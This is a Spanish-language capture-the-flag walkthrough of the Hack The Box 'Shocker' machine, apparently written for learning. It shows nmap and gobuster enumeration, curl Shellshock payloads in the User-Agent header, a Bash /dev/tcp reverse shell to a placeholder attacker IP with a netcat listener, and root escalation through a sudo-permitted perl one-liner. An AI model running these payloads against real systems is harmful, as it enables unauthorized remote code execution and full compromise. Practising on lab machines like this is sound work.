
Walkthrough estructurado de HTB que demuestra la explotación de Shellshock (CVE-2014-6271) mediante fuzzing de directorios CGI y escalada de privilegios a través de permisos sudo de Perl mal configurados usando GTFOBins.
Un recorrido estructurado y profesional que muestra la identificación y explotación manual de la crítica vulnerabilidad Shellshock, seguida de una escalada de privilegios local mediante permisos sudo mal configurados en un objetivo Linux.
10.10.10.56/usr/bin/perl)La evaluación comienza con un escaneo SYN TCP rápido de todos los puertos, dirigido solo a puertos abiertos (--open), omitiendo el descubrimiento de hosts (-Pn) y la resolución DNS (-n) para acelerar la recopilación de información.
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56
El barrido inicial revela dos servicios activos. Realizamos un escaneo secundario dirigido para ejecutar detección agresiva de versiones (-sCV) y evaluación de vulnerabilidades basada en scripts:
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56
En paralelo con nuestros escaneos de vulnerabilidades, iniciamos la fuerza bruta de directorios web utilizando gobuster para mapear recursos ocultos en el servidor Apache. Empleamos un lista de palabras estándar del framework SecLists:
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
El proceso de fuzzing identifica un directorio /cgi-bin/ no indexado. En implementaciones web antiguas, los servidores Apache utilizan la Interfaz de Entrada Común (CGI) para ejecutar scripts del lado del servidor. Dado el nombre de la máquina y la presencia de esta carpeta, buscamos agresivamente scripts ejecutables (por ejemplo, .sh, .cgi) que puedan ser susceptibles a fallos de inyección de variables de entorno.
Una enumeración más detallada revela un script llamado user.sh dentro del directorio /cgi-bin/.
La vulnerabilidad Shellshock (CVE-2014-6271) permite a los atacantes ejecutar comandos arbitrarios del sistema operativo mediante la inyección de definiciones maliciosas de funciones dentro de las cabeceras de las peticiones HTTP (como User-Agent) procesadas por instancias vulnerables de Bash.
Creamos un comando curl personalizado para enviar un payload de Prueba de Concepto (PoC) diseñado para forzar al sistema remoto a ejecutar el comando /usr/bin/id:
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
id, validando Ejecución Remota de Código (RCE) sin autenticación de tipo autenticado.Para mejorar nuestro vector de ejecución a una sesión interactiva, establecemos un listener local de Netcat en nuestra plataforma de ataque:
nc -lvnp 4444
A continuación, inyectamos una cadena nativa de reverse shell de Bash dentro de la cabecera User-Agent maliciosa para forzar una conexión de retorno a través de TCP:
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
Tras la ejecución exitosa, recibimos una shell estable con bajos privilegios:
$ whoami
shelly
Con un contexto de usuario funcional en el sistema, auditamos nuestras restricciones locales. Consultamos la configuración de sudo para determinar si el usuario shelly está autorizado a ejecutar comandos con permisos elevados sin proporcionar contraseña:
sudo -l
La salida revela la siguiente entrada de alto riesgo:
User shelly may run the following commands on shocker:
(root) NOPASSWD: /usr/bin/perl
Debido a que tenemos acceso irrestricto y sin autenticación para ejecutar el binario perl como root, podemos fácilmente escapar de las restricciones del binario. Consultando GTFOBins, encontramos un wrapper de ejecución que indica a Perl que abra una shell nativa del sistema (/bin/sh) manteniendo el contexto de identidad de ejecución (root):
sudo -u root perl -e 'exec "/bin/sh"'
Inmediatamente obtenemos un contexto de ejecución completo de administrador:
# whoami
root
Ahora que se ha establecido acceso root, navegamos a los directorios personales relevantes para recuperar las pruebas de compromiso.
# Acceder a la bandera de usuario
cat /home/shelly/user.txt
# Acceder a la bandera de root
cat /root/root.txt
perl, python o bash mediante sudo introduce vectores de escalada instantáneos. El acceso sudo debe limitarse a scripts administrativos no interactivos y altamente controlados.